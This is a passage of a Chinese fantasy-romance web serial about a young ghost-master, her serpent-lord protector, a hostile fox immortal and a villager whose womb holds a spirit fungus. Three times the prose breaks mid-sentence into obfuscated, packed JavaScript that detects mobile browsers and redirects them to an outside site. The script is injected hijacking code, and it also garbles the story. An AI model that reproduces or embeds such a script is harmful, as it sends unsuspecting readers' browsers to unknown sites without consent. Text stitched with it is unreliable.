李大叔摇摇头,没有多少把握:“你们想听真话吗?” “当然!”阿乞不假思索。 李大叔吞着浓烟,嗓音沙哑:“依照我对老易他们的了解,想让他们把肉芝吐出来,难。” 银杏惊讶不解:“那你还和王母灵女要这个机会?!” 李大叔叹了口粗气:“上天有好生之德,多个机会,万一……他们能迷途知返呢?” 我和李大叔想的一样,只要有百分之一的可能,我们都得试试。 半个村子,几十口人的性命,不能说没就没。 夜里。 赵大哥把堂屋西边卧房收拾给了李大叔与阿乞住,前头院门右侧的一间小门房给了我和银杏住。 门房里有两张小床,正好我和银杏能一人占一张。 银杏是个憨丫头,许是从小就跟着李大叔在阴苗族走南闯北惯了,竟练就了一身无论在何处都能倒床就睡的本事。 而孟春寨的陌生环境对于我这个打小就有认床毛病的人来说,简直就是折磨。 凌晨一点,银杏都已经打鼾了,我却仍被窗外的树叶沙沙声给惊得心慌意乱…… 偶尔两声狗叫,更是吓得我头皮发麻。 我捞起被子,弯腰往棉被里钻。 但伸手却不小心碰到一片温凉…… 我指尖一颤,来不及惊叫出声,怀里的温凉就化成了一副肩宽腰窄,怀抱温暖的强健男子身躯…… “是本尊。” 剧烈跳动的心总算慢慢缓和了下来。 “你怎么出来了?”我嘴上还问着话,双臂便已诚实地攀上了他腰身。 他轻抚我后背,沉声安慰:“你睡不着,本尊猜,阿鸾是认床了。” 我低头埋在他结实的胸膛上,乖乖颔首:“换了新环境,还不适应。” “无妨,本尊陪你。” 寂静的夜晚里,他的声音显得格外清晰好听,恍若天外神音,宛若山泉潺潺、春风缓缓…… 我情不自禁地抱紧他,一头扎在他胸口,安静闭上眼。 蛇王大人有些时候,还蛮仗义的。 “谢谢。”我浅声低吟。 话音落,他揉了揉我的脑袋。 “睡吧。” “嗯。” 有他陪睡,我得到足够的安全感,很快就进入了深度睡眠…… 但,我夸他仗义,终究还是夸早了。 不知过了多久,我是被热醒的。 推了推他的胸膛,我想转身离他远些…… 可他竟趁机从后抱住我的腰,气息急促地在我耳畔低沉道了句:“不许你乱动,你偏要动,自己勾起的火,现在想临阵逃脱?” 我迷迷糊糊,双眼艰难睁开一条缝,哼唧不悦道:“我、怎么乱动了……我热。” 他喉结一颤,拿我没办法的低低控诉:“你乱摸了!” 我怔了怔,猛地想起做梦的时候,我好像真的不小心碰到…… 可他这反应也忒大了些吧! 不是说男人过了二十五就不行了吗? 被他按在床上狠狠咬唇时,我终于还是没忍住哑着嗓子问他:“你、今年多少岁了?” 他头疼皱眉,报复性地又咬我一口:“本尊、还年轻着呢!” 我:“……” 夜里我受不住他的热情,还拿银杏当挡箭牌拒绝了他两回。 谁知这条小心眼的蛇竟直接给银杏下了昏睡诀。 这下可好,别说是哼哼唧唧了,就是打雷都惊不醒她了。 不过…… 他有这好法术刚才怎么不给我用! 害我白熬了小半夜。 不过,他身上的伤,似乎真被灵珠的灵气给疗养好了。 这两次与他亲近,我一点也没感受到体内有力量流逝…… 况且,他的伤要是还没好,应该舍不得碰我。 呸,怎么就用了舍不得这个词呢! 次日清晨,没心没肺舒坦睡了一整夜的银杏把我从睡梦中摇醒。 扯着大嗓门激动道:“花瓣!镜镜你快看,不知从哪飘进来的花瓣,满地都是!好漂亮!” 我捂住脑袋疲惫地翻了个身继续睡,不理她。 这条蛇,完事了都不知道清理痕迹的么! 好在银杏这姑娘缺根筋,只以为附近有花树,并没有发散思维联想到旁的…… 日上三竿,我才昏昏沉沉地起床洗漱。 拍拍湿润的脸皮,我正想把脸闷水盆里清醒清醒,余光却瞥见李大叔一脸凝重地抽着**从易村长家的方向回来。 这模样,一看就是事没成。 我失望叹口气,继续掬水洗脸。 在意料之中。 李大叔走到我跟前,落寞道: “我和老易说了王母肉芝的事,老易起初还和我打马虎眼,后来……他坚决不同意。 他前几年查出有心脏病,靠着王母肉芝才好起来的,现在让他把肉芝片还给王母灵女,他说他怕死。 而且他并不相信王母肉芝会报复他们的说法,他以为我在骗他。” “在报复没有来临之前,我们是唤不醒他们的良知的。”我双手握在盆沿上,冷冷道:“看来,得先给他们点颜色看看。” 李大叔赞同点头:“只能这样了。” 话刚说完,赵大哥突然从屋里跑了出来,紧张害怕的着急问我们:“鸾妹李叔,你们看见绵绵了吗?” 我疑惑道:“没有啊,她没在房中躺着吗?” 以汪绵绵的状态,现在连下床都困难,怎么可能跑出来。 赵大哥顿时就吓白了脸, “绵绵不见了……都怪我!昨晚绵绵突然梦见我们要取走她腹中的孩子,她梦中惊醒后就求着我留孩子一命,不然,她就带孩子永远离开我。 我当时觉得,那不过是个噩梦而已,哄哄绵绵就好了。 谁知道,半个小时前绵绵还在屋里躺着,我就去厨房给她熬了个粥,回来她就不见了!” 李大叔担忧不已:“那还愣在家里做什么,快出去找啊!” 赵大哥冷汗淋漓的连忙点头,冲出家门去找汪绵绵。 李大叔不放心的掐指算了下。 指尖停顿在食指下端,李大叔面色陡然一沉,无奈地重重叹气。 汪绵绵失踪,我和李大叔用寻人术都找不到她的具体方位。 没办法,我和银杏,还有李大叔阿乞,只能分头帮赵大哥找汪绵绵…… 好在下午四点钟,李大叔终于传了消息给我,说汪绵绵找到了。 是在村南头的一条小溪边找到的。 找到她的那会子,她正哭着拿麻绳上吊。 赵大哥好说歹说才把她抱在怀里搂回家。 汪绵绵一回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113750|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就虚弱地哭晕了过去,李大叔留在家里给汪绵绵施针控制情绪。 我和银杏则找到了汪绵绵上吊的地方。 那条小溪边没有宋淑贞的气息,但却有一股狐狸骚味…… 死狐狸竟然也蹚了这趟浑水! 回家的路上,我突然察觉到脊背后的寒气越来越重。 不祥的预感在心底弥漫开…… 风中夹杂着狐狸身上的腥骚味,我晓得,他离我越来越近了。 从袖中掏出一张鬼符,我一掌将符贴在银杏背上,先送银杏回家。 银杏的身影顿时消失在了我眼前。 “他要来了。”我低声喃喃。 继续往前走了将近半里路…… 一阵阴风扫过,我的脖子突然被一只指骨细长的大手给攥住。 灰袍男人的身影显现在我的视线里。 我被他按着脖子逼退数步,直到后背重重撞在槐树树干上,他才停止逼近。 “小东西,我们又见面了。”男人灰暗的眼底划过一丝狡黠,眯了眯上翘的狐狸眼,眼角朱砂痣妖异似血滴。 我被他掐得喘不过气,施法化出一张鬼符,猛地贴在他手臂上,这才将他的狐狸爪子烫撒开。 他及时收手,用妖力震碎我的鬼符,瞧了眼被鬼符烫破的袖子,咬牙切齿地阴笑道: “没想到啊,才当上几天鬼师,这鬼符就运用得如此得心应手了。很好,本王对你真是越来越感兴趣了!” 话音落,他又一把扼住我的手腕,眯了眯妖里妖气的狐狸眼,嗤笑威胁:“就这么喜欢和你姐姐争?肉芝,是花枝的,你敢碰,本王定要你后悔终生!” 我听完他的离谱言论只觉得好笑,用力甩开他的狐狸爪子冷声反呛: “肉芝上写她名字了还是她叫肉芝一声,肉芝能答应?肉芝是灵物,她只属于自己,从不属于任何人!” “肉芝,是西昆仑神境的东西,你区区一个凡人,也配肖想?” 死狐狸挺直脊背,厚着脸皮恐吓道: “本王答应过花枝,会把肉芝取给她。至于你,最好别和本王作对,不然,本王有的是法子让你跪下求本王!” “她想用肉芝提升修为?可肉芝已经成精了,她也是条命!” “这九黎山所有生灵的生死都掌握在本王手里,本王需要她的小命是她的荣幸!” 身形高大的男人低眸不屑看我,眯了眯一双妖气的狐狸眼,突然又道: “难怪花枝想要你的血,没想到,你才是那个真正的纯洁圣体。这一身的灵气,若是换给花枝,她便不会再修行受阻了。” 说完,他猛地抓住我手臂再度发癫,眼神狠戾地要求:“跟本王走,把你的血换给花枝,本王或许能留你一条活路!” “你做什么梦呢!” 我忍无可忍地扬手就一巴掌挥在了死狐狸的驴脸上, “你还是修炼多年的野狐仙呢,怎么不把你的血换给你女人?神经病!” 哪成想这死妖精竟然被我一掌扇坏了脑子,梗着脖子回头看我,半张着狐狸嘴,抬手摸了把被我扇出通红巴掌印的腮帮子,眼底泛红地兴奋舔唇,“这是你第二次扇本王,小**,力气挺大……本王喜欢!” 我:“???” 这王八蛋竟然被我打爽了?! 第67章 是觉得灵修次数还不够? “宋花枝近来修炼受阻,需要你的血。 宋鸾镜,你老实把自己的血换给她,放心,本王不会让你死,你听本王的话,本王会让你享受到和她一样的待遇。 看在你这么有趣的份上,本王不碰你,让你长长久久的活着,直到老死。” 死狐狸兴高采烈的亢奋抬脚步步逼近我,一脸的势在必得。 我警惕的小心后退,“我现在是蛇尊的女人,你敢动我,是皮又痒了么?” 岂料死狐狸抬手便攫住我的下颌,强行抬起我的视线,逼我与他四目相对,不知死活的猖獗放话: “你真以为本王斗不过那条死蛇?本王告诉你,本王虽要受他**,但本王若使出真正实力,那条死蛇最多与本王打个平手,咱俩两败俱伤,谁也别想讨到好处! 本王就算抢了他心爱的女人,本王坚决不给,他也拿本王没辙! 他总有不在你身边的时候,你也不可能一天二十四小时黏在他身边,就像现在。 本王瞧上的女人,就算毁了她,本王也不会让别人拥有她! 待本王将你带回狐狸洞,关起来,关一辈子,你说,他会为了一个一时兴起占有的女人,和本王缠斗多久? 你一个普通凡人,值得他屡次犯险来救么?” 我脚下一软,踉跄半步。 心头不由一阵寒凉。 他说得对,我只是一个普通凡人,如果真落进他手里,他又有那颗灵珠傍身…… 青漓的确没必要为了我和他过多纠缠。 我对青漓来说,并不算特别重要的人。 一时兴起……没有太多价值,丢了也就丢了…… 所以,我更不能让自己沦为他的阶下囚了! “你不就是仗着你手里那颗珠子才敢这么有信心吗?”我咬牙不服气地瞪着他:“那珠子可是仙家宝物,你偷盗灵珠就不怕仙家降罪吗!” “降罪?” 死狐狸鼻尖溢出嗤笑,得意挑眉: “谁说那颗珠子是本王偷的?你真以为,本王会留把柄让你们抓到?本王既敢光明正大地使用它,就不怕任何人追究它的来源!” “不是你偷的,你一个妖物,手里怎么会有仙家的宝物!”我挣扎着想要脱离他的魔爪。 他故意再次扼紧我的下颌,灰瞳里匿着狡黠玩味: “本王现在的确还未修得正果,但本王与别的狐仙不同,本王是受尊神点化过的狐仙。 本王知道你想套本王的话,弄清灵珠的来历,本王不怕让你知晓一切。 但,你如今还不配同本王讨价还价!” 说着,他抬起另一只修长的大手,指腹轻抚我的脖颈,存心恶心我: “宋鸾镜,跟了本王,待遇不会比跟那条死蛇差。 本王再和你说个秘密,本王根本不怕与那条死蛇拼命,就算那条死蛇的功力在本王之上,只要珠子还在本王手里,无论本王受多严重的伤,珠子都能令本王一夜痊愈。 你们也休要想着,偷走本王的灵珠,那珠子认主,除了本王,它不听任何人使唤,落入旁人手中,那珠子就是一枚死物!” 我极度抗拒他的触碰,可挣扎间,他却瞧见了我脖子上前一晚留下的暧昧痕迹…… 狐眼灰瞳骤然一缩,灰狐仙蓦地激动起来,掐在我下颌上的手也骤然用力,不甘心冲我吼道: “还真是个缺男人的**!昨日夜里还在他的床上!怎么,他就这样让你满足? 鸳鸯缠,也是他帮你解的吧……**,本王哪里比不上他了?!” 我被他掐得下颌两侧一阵裂痛,没耐心的嘴毒反呛: “你全身上下,没有一个地方,比得上他!他比你好看比你温柔比你会疼人,更重要的是……” 咬紧牙,我毅然对上他瞪得快要裂开的一双染血灰眸: “他身上,可没有令人作呕的狐臭味!我当然宁肯献身给他,也不要被你污了身子,宋花枝陪在你身边的时候,难道没有告诉过你,你身上的腥臭味熏得人想作呕?她真的,不嫌你臭?!” 和一只狐狸说,嫌他有狐臭,是大的羞辱。 果然,下一秒这条死狐狸就发疯暴走了,“宋鸾镜,你想死!那条死蛇不在你还敢如此嚣张,本王今日非给你点颜色瞧瞧不可!” 他抬掌聚起一团红光,扬袖就要朝我脑壳上盖下来…… 危急关头我满额大汗地闭上眼……这次,刻意没有喊青漓的名字。 我想知道,我不主动求他,他会不会救我。 死狐狸馋我的人,还想要我的血,肯定舍不得一掌拍死我。 如果下一秒青漓出现,那我以后就不再怀疑他…… 如果他不出现,只能证明我在他心目中的确是可有可无的存在。 那以后,我就只能逼着自己变强大,保护自己…… 灰狐仙的掌风迎面压迫而来的那一刹,我心惊胆战地被吓起一身鸡皮疙瘩。 但,电光火石间,我的胳膊突然被另一只手猛地扯过去,带进熟悉温暖的踏实怀抱—— 灰狐仙的掌力也被强大灵力撞散开。 不等我迷茫睁眼,灰狐仙就已被抱着我的男人出手,狠狠震飞了出去…… 扑通一声闷响,灰狐仙重重摔倒在十米开外的荒草地上,神魂被震成重伤,面部狐脸若隐若现,差点没维持住人形。 按着胸口憋不住地喷出一口鲜血,错愕昂头,看清搂着我的男人真容后,下意识恐慌后退:“你法力恢复了?怎么会、这么快!” 我这才狠狠松口气,无力的伏在他胸膛上,心有余悸地拍拍胸脯。 青漓单手揽着我,居高临下睥睨着重伤在地的死狐狸,冷冷威胁: “再让本尊发现你对本尊夫人动不该有的念头,本尊便将你**万段,你不信,大可试试你的那颗破珠子,是否能受得住本尊一击!谢妄楼,别逼本尊对你动真格!” 谢妄楼…… “你怎么会知道……”灰狐仙脸上一白,额角青筋凸起,双眼瞪得又圆又大:“你调查我!” 青漓威严启唇: “若非本尊沉睡,九黎山怎容你称王称霸。本尊只是懒得动手收拾你,不意味着你可以在本尊面前蹬鼻子上脸。 凡生活在九黎山一带的生灵,是何底细本尊皆一清二楚,你一只被狐族追杀的孽障,也敢在本尊面前放肆!” 灰狐仙听完,强压下眼底恐慌嘴硬干笑道: “呵,那又如何,本王只是虎落平阳而已,况且,本王的身后是神族! 青漓蛇尊,你的确在九黎山一带无人匹敌,但你杀不死本王,本王若死在你手里,神界必不饶你!” “仅凭一颗来自仙界的灵珠就能证明你的靠山是神族?”青漓不屑瞥他一眼,肃色道:“以后,要么给本尊夹着尾巴做狐狸,要么,本尊去会会你的神族靠山!” “你!”灰狐仙恼怒瞪大双目,紧咬牙关,狠狠盯了青漓片刻后,转身便化成狐狸原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121869|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形直奔荒草深处逃去,“青漓蛇尊,我们来日方长!本王此生,与你势不两立!” 呸,还势不两立呢。 要是没有那颗珠子,他估摸早就被青漓打成一滩血泥了。 “你、疼不疼?”他搂着我的腰身,低头担忧地看我。 我双手揉揉险些被死狐狸捏碎的下颌,重重颔首:“嗯,很疼。” “本尊帮你缓解一下。”他亲自抬手给我揉捏下颌的伤处。 我半靠在他怀里,安静享受着他用法力揉散我下巴上的丝丝痛意。 片刻,他突然问:“方才,为何不叫本尊?” 我一哽,心虚缩了缩脑袋:“我、吓忘了,况且你不是能看见外面发生的一切么?” 他眉心微拧,一语挑破:“阿鸾,你是在怕,万一哪天你真落进他手里,本尊会舍弃你。” 不是问句,倒像是在平静地陈述一件事实。 我张了张嘴,本想拒不承认的,但又觉得,在他一活了几千年的老妖怪跟前撒谎,大概率是掩耳盗铃自欺欺人。 于是只好坦白道: “对不起……我的确是在试探你。 毕竟、那只死狐狸说得对,我只是个普通凡人,我在你心中的份量……应该不足以让你为了我多耗费心神。 我是想,如果你稍微有一点在意我,哪怕我不叫你你也会出面护住我的小命。 可若是你只当我是个可有可无的新鲜玩意儿……我需要心里有个谱,我得学会自保。 你现在能罩着我,不代表以后的每一次都会罩着我。 灰狐仙不是觊觎我的身子就是觊觎我的血,哪天我真被你舍弃了,我得自救,总不能真认命被他囚禁一辈子。” 原以为我和他说了实话他会生气。 但他的实际反应好像和我想象中的截然不同。 帮我揉捏伤处的手指一僵,他听罢,眉心皱得更深。 可就在我准备硬着头皮直面迎接他的暴风雨时,他却突然伸手把我抱住,俊美的容颜亲昵埋进我脖窝。 我陡然怔住,意外地低头,视线落在他月华般皎皎银发上,心跳悄然加速…… “青漓……”我嗓音打着颤。 他一双大手撒气似的用力揉了揉我腰肢,埋在我怀里吐息灼热的沉沉道: “以后,不许做这么危险的事了。本尊今日没有静心修炼,可以知道外面发生的所有事,若哪日本尊封闭五感闭关修行,你再用这种方式试探本尊,万一本尊出来迟了……你的小命就真要有危险了。” 我错愕的哽了哽,“你、不生气?不觉得我、试探你很过分?” 他阖目无奈说:“你在心里那样冤枉本尊,是很过分。但,也怪本尊给你的安全感还不够,才让你产生这种怀疑……阿鸾,本尊对你,从不是一时兴起。” 不是一时兴起? 他的话,像缕缕温吞柔软的春光,拂过心窍,扫过心尖。 令人心下一阵暖流溢过。 我不自觉地抬起双臂,小心翼翼搭在他身后:“我、我知道……” 面红耳赤地别过脑袋不敢让他瞧见我此刻的羞窘模样。 他抱着我安静许久,突然又将薄唇贴上我耳根,没心没肺地浅浅道: “你我,都已灵修过,还怕什么? 如今你已是本尊实打实的正经夫人,你若落进别的妖孽手里,受了他人欺辱,岂不是在打本尊的脸? 还是,阿鸾觉得……你我灵修的次数还不够?” 第68章 她恨你,才弄出个宋花枝恶心你 我顿时老脸烫得更厉害了! 尴尬地赶紧推开他,我目光躲闪地结结巴巴:“你、胡说什么呢,我什么时候这样觉得了……” 他见到我这个反应,颇为满意的亮起眸子:“没有就好,若是有,也正常。本尊也觉得,还不够。” 我听得头皮更麻了,窘迫得恨不得找个地缝钻进去! 赶紧从他怀里出来,一个劲往回家方向快步走…… “咱们、还是快点回去吧,不然银杏她们会担心。” 他愣了愣,半分钟后,才镇定地跟上我,没憋几步路,还主动牵上了我的手…… 我心猿意马的老实和他十指相扣,假装情绪平静,可手心的潮湿却出卖了我此刻的真实心情。 这条蛇……就会馋我身子! 晚上,我和银杏一起躺在漆黑的房间听村子里稀稀零零的犬吠声。 “嫂子的情况很不好,爸说这两天就得找时间动手把她腹中的东西取出来了。 先把她肚子里的肉芝拿出来,再逼那些村民把肉片还给王母灵女,顺利的话,孟春寨这一劫很快就能平安度过。” 银杏翻了个身,面朝我道: “不过嫂子想怀孕的执念太强了,你和蛇王大人没回来那会子,嫂子非哭着说自己肚子里怀的就是孩子。如果咱们真把她腹中的东西拿掉了,我怕她会受不住打击……” 我也侧躺面向银杏,语气凝重道:“取走王母肉芝,她好歹还能多活几个月。银杏,你不会真以为,有了这个孩子她就能好好活着了吧。” 银杏躺在靠窗的小床上惊讶追问:“什么意思?镜镜你不会是说……嫂子她、真的油尽灯枯了吧!” 我面向窗外清冷月光嗯了声,心中沉甸甸的:“白天我和李大叔给嫂子把脉的时候就已经发觉……如果不是肉芝一直在撑着嫂子的身体,嫂子可能早就已经身亡了。” “什么?!” “王母肉芝的确靠汲取母体养分而生长,但母体中的养分也是母体从其他地方摄取而来。 你可以把母体当成一根吸管,养分是靠着母体这根吸管进入肉芝口中的。 而肉芝本就是神界灵物,肉芝所需的养分除了母体精血,还有天地灵气,以及肉芝最喜欢的爱。 嫂子身上有赵大哥对她的爱,肉芝也可以通过嫂子汲取到外面的日月精华。肉芝本体的灵气,恰好又能为嫂子续命。 所以,严谨来说,并不是肉芝害**嫂子,而是嫂子靠着肉芝勉强活着,肉芝恰好又需要嫂子这个母体。 现在肉芝已经快成精了,不需要嫂子这个容器了,这才会加倍汲取嫂子的精血,准备随时破体而出,丢弃嫂子这个母体。 嫂子现在,其实就是个活**。及时取出肉芝,嫂子还有半年可活,不取出肉芝,嫂子也许连半个月都撑不住。” 我话才说完,就听门口噗通一声,像是什么东西撞在了房门上。 “谁!”银杏警觉地要起身去查看,被我及时拉住了手腕。 隔了半晌,等门外彻底没动静了,我才低声叹息:“算了,这些,他迟早都会知道的。” 银杏无奈躺回小床上:“我还以为只要把肉芝取出来,嫂子就能活……” “嫂子的身体是先天不足,注定寿元不长。如果不是想要个孩子的执念撑着她,她也许,根本活不到现在。吃下肉芝,不知对她而言算福还是祸。” “赵大哥好不容易才在孟春寨有个家,这下可好,又要孑然一身了。” 银杏闷声感慨完,沉默良久才进入下一个话题:“哎镜镜,我看晚上你是和蛇王大人一起回来的,还手牵手!快告诉我,你和蛇王大人是不是进入热恋期了?” “热恋期?”我呛住,脸红地拉被子遮头:“哪、哪有……” 银杏切了声,反驳道:“别瞒我了,咱俩从小一起长大,有什么是不好意思说的?镜镜,你是不是真喜欢上蛇王大人了?” 我用被子蒙住脸,心绪杂乱地浅声嘀咕: “喜欢?我、都不晓得喜欢是什么感觉。不是存心瞒你,是我现在甚至都不清楚……我们有没有进入恋爱期。” 银杏拉长音嗯了好几秒,说: “喜欢是什么感觉,这个我有点经验。喜欢,就是他不在的时候,你会想他。 他突然出现,你会心生欢喜。他与你对视,你会心慌意乱。他牵你的手,你会紧张得说不出话。” “这样么?”我想了想,说:“我好像全中。” 银杏顿时激动弹坐起身:“那就代表,你喜欢他!” 我默默掀开些被子,犹豫道: “但,好像又不是你说的那回事。 他不在的时候,我会想他,是因为我想他出来救我狗命。 他突然出现我会心生欢喜,是因为他出现我就不用**。 他与我对视,我会心慌意乱,那是因为我害怕他瞧上我想吃我。 他牵我的手我紧张到说不出话……是我害怕他突然抽风捏我手腕。” “……” 银杏直挺挺地往床上一倒,心如死灰:“得,没救了!” 我也觉得我没救了来着…… 安静了四五分钟,银杏才继续说: “有的人呢,天生对自身情感不是很敏感。 所以,会出现爱却不自知的情况。 不过这都不重要,两个人如果互生情愫,处得久了,感情也会越来越深,就会发现自己越来越离不开对方。 不用纠结喜不喜欢,也无需将爱意宣之于口。 爱这种东西,不需要别人承认,该出现的时候,它都会存在。” 我裹紧被子有点魂不守舍:“听起来,你挺有感触的。” 银杏傲娇道: “那当然,好歹我也暗恋过别人……不过说真的,我觉得蛇王大人现在的状态和我当年差不多! 退一步,怕抓不住你的手,进一步,又怕太过冒昧,惹你厌烦。” “你说他暗恋我?怎么可能!” “我觉得很像!” “你还是睡觉去吧,大晚上的别瞎想。” “你又不信我……哼!总有一天你会发现我说的话都是真理!” 什么暗恋、退一步进一步的。 那是她根本不知道……这条蛇都进了多少步了! 他哪里需要暗恋,他完全可以明恋。 不过,想起他每次和我在一起,都会温言软语地附在我耳边喊我阿鸾…… 那种对与我亲近的贪恋与喜欢,的确不像装的。 深夜。 我半梦半醒时,突然察觉到床前有人影晃动。 来不及多想,那人影就突然举刀,麻利地朝我刺下来! 千钧一发之际我猛地转身,本该**我心脏的**擦着我的手臂稳稳扎进了木床板—— “你是谁!”我凝声质问。 谁知那人反应极快地松开**刀柄,又从腰后摸出一把斧头,于黑暗中嘶声冲我吼道:“你**!” 然而这一回她的斧头刚扬起就被银杏从后强行抢了去…… 银杏抬脚便要踹她,我连忙制止:“银杏等等,她是嫂子!” 斧头从银杏手里咣当落地。 屋里电灯打开,银杏将汪绵绵双手反剪在背后,死死控制住汪绵绵的双腕—— 汪绵绵似发疯了般披头散发怒目圆瞪地朝我大喊:“**!你也想杀我的孩子!我告诉你,做梦!我要杀了你,杀了你!” 银杏着急好声劝道:“嫂子你冷静点!我们没想害你的孩子,你腹中怀的根本不是胎儿是肉芝啊!” 可汪绵绵仍听不进去地挣扎着大哭大叫: “我不信,我腹中的就是我和哥的孩子!是你们看不得我和哥好!你们想抢走我的孩子,我杀了你们!” “妖女!你这个害人精,放开我,我要杀了你,杀了你!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121870|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >汪绵绵吼得声嘶力竭全身打抖,我捂住被**擦伤的手臂,闻言深深瞧了她一眼,抬手化出一张灵符,贴在汪绵绵的脑门。 原本还张牙舞爪的孕妇顿时两眼一翻,往后一倒,晕死在了银杏怀里。 银杏接住汪绵绵的消瘦身子,不放心地问我:“她怎么了?为什么突然情绪这么激动,骂人这么脏……” 我抬手瞥了眼掌心的黑血,忍着剧痛镇定道:“被人用巫术操控了。” “是谁?!”银杏警惕皱眉。 我冷笑笑:“除了我们阴苗族那位好大祭司,还能有谁会这么执着于要我的命。” 用巫毒伤我……宋花枝到底遇见了什么事,前有灰狐仙要抓我去给宋花枝换血,后有宋淑贞宁愿承受锥心之痛,也要施巫术控制汪绵绵杀我。 先前宋淑贞想放火烧死我,还用青漓的安危威胁我,我为了避免她在青漓伤势没有痊愈前对青漓下手,就故意用莲花镯射偏她的心脏,刺穿她的百神穴。 这样,最近一个月她都无法再动用法术。 强行使用巫力,不但会让她痛不欲生,还会令她承受双倍反噬。 要不是宋花枝遇见了危险,她肯定不会干这种不要命的事…… 李大叔与赵大哥他们听见动静也匆匆披衣赶了过来。 “绵绵!”赵大哥慌忙将昏死的汪绵绵抱进自己怀里。 阿乞担忧问道:“这是怎么了?”目光瞟见我捂着胳膊,立即紧张起来:“镜镜姐你流血了!” 李大叔大步迈过来:“我看看。” 我连忙捂着手臂后退一步:“我没事……李大叔,先去看绵绵嫂子。” 银杏急着附和: “镜镜的伤我等会儿给她包扎,爸你先去看看嫂子吧,她刚才突然拿刀闯进来,差点就要了镜镜的命! 幸好镜镜没有睡死,及时翻身躲过了致命一刀,谁知她又从腰后抽了把斧头出来! 还好我被动静吵醒,趁她不备把凶器抢了过来。 她是不是魔怔了,嚷嚷着我们要害她孩子,对镜镜喊打喊杀的,还骂得贼难听!” 李大叔脸色难看地转身迈向赵大哥与汪绵绵,伸手捏住汪绵绵的脉口,探了一阵。 尔后心中清明的抬指在虚空画出一道金光灿灿的道家符咒,抬掌打进汪绵绵体中。 灵符入体,汪绵绵痛苦拧眉,张嘴吐出一口污血…… “李叔,绵绵她……”赵大哥忧忡相问,李大叔却抬手打断他:“先抱你媳妇回去休息,明天一早,我和鸾镜给她取出肉芝!” 赵大哥哽了哽,犹豫片刻,老实听话点头:“好,李叔。” 赵大哥把汪绵绵抱回去后,李大叔才心情沉重地在我们房中坐下:“这个淑贞,我真是越来越看不懂,她到底想干什么了!” 阿乞聪明猜测道:“师叔祖,今晚的事不会又是大祭司在背后捣鬼吧?!” 李大叔颔首:“嗯。” 阿乞愤愤替我抱屈:“哪有当妈的成天都想着怎么弄死女儿,还撵着追杀!” “淑贞突然又鸾镜下手,恐怕是有原因的。”李大叔思忖一阵,道:“我马上写封信,设法送给赵村长,问问村长宋家是不是出事了。” 银杏赞同地点点脑袋:“嗯!” …… 银杏给我包扎伤口那会子,我已经躺在床上睡着了过去。 手臂伤口处的隐隐作痛让我睡得不是很踏实。 意识恍惚间,我隐约听见银杏趴在我身上心疼抱怨: “镜镜,你是无辜的……你母亲真不是东西,现在连条活路都不肯给你。伯伯要是还在世,看见你现在过得这样苦,得多难过啊。” “可惜,伯伯到死都被大祭司蒙在鼓里……” “她恨伯伯,也恨你。” “所以她才弄出个宋花枝来恶心你。” “她心眼那么坏,难怪一辈子都得不到老祭司的爱!” 第69章 双生女,此强彼弱 翌日。 一早我与李大叔碰面,李大叔把我带到汪绵绵的卧房,我才突然发现,仅一夜的功夫,汪绵绵的肚子就又大了一圈。 “大伢子媳妇的肚子不能再拖了,昨夜我找到了能将肉芝与母体剥离的法子,你动手之前,把这瓶药喂给汪绵绵。” 李大叔伸手递给我一只白玉小瓷瓶。 我接过,认真应下:“好。” 李大叔深呼一口气,又说: “昨天宋花枝炼巫术走火入魔了,加上她先前供在长生宫的神像被长生玉女们毁了,本就神魂受了重创,她又急功近利修炼禁术,结果差点害自己爆体而亡。 淑贞已经在想法子救她了,昨夜淑贞操控汪绵绵对你下**,是因为你和宋花枝乃双生女,双生女气息相连,也会此强彼弱。 况且,你身上也有一半阴苗族的圣女气运,杀了你,你体内的那些气运便会被宋花枝吸收。 宋花枝现在修炼受阻,总是炼不成高乘巫术,的确也和圣女气运不足有关。” 我早有预料地轻笑一声:“所以,她是想用杀了我的方式,来拯救宋花枝,让宋花枝命数强硬起来?” 我的气运弱了,宋花枝自然就强了。 我**,宋花枝就会重获新生。 我这个母亲对宋花枝可真是疼爱至极! “原本,宋花枝当上了圣女,又有族人们的供奉,气运确实强过你。 你前二十年总是修不成巫术,便是这个缘由。 现在你已经成了阴苗族的鬼师,你的气运强过她,她自然会不好受。 从前的你,只是宋花枝前路的垫脚石,你母亲尚会留你一命。 现在的你就是宋花枝前路最大的阻碍,她当然容不得你了。” 李大叔拍拍我的肩膀,怜悯道: “鸾镜,你要记住,你想活,就必须要接受孤家寡人的命运。亲情,远不如性命重要。” 我明白李大叔的意思,坚定颔首:“知道了李大叔。” 我俩刚说完话,阿乞和银杏就匆忙打外面跑回来报信。 “不好了师叔祖!今天村里吃过王母肉芝的人都出事了!” 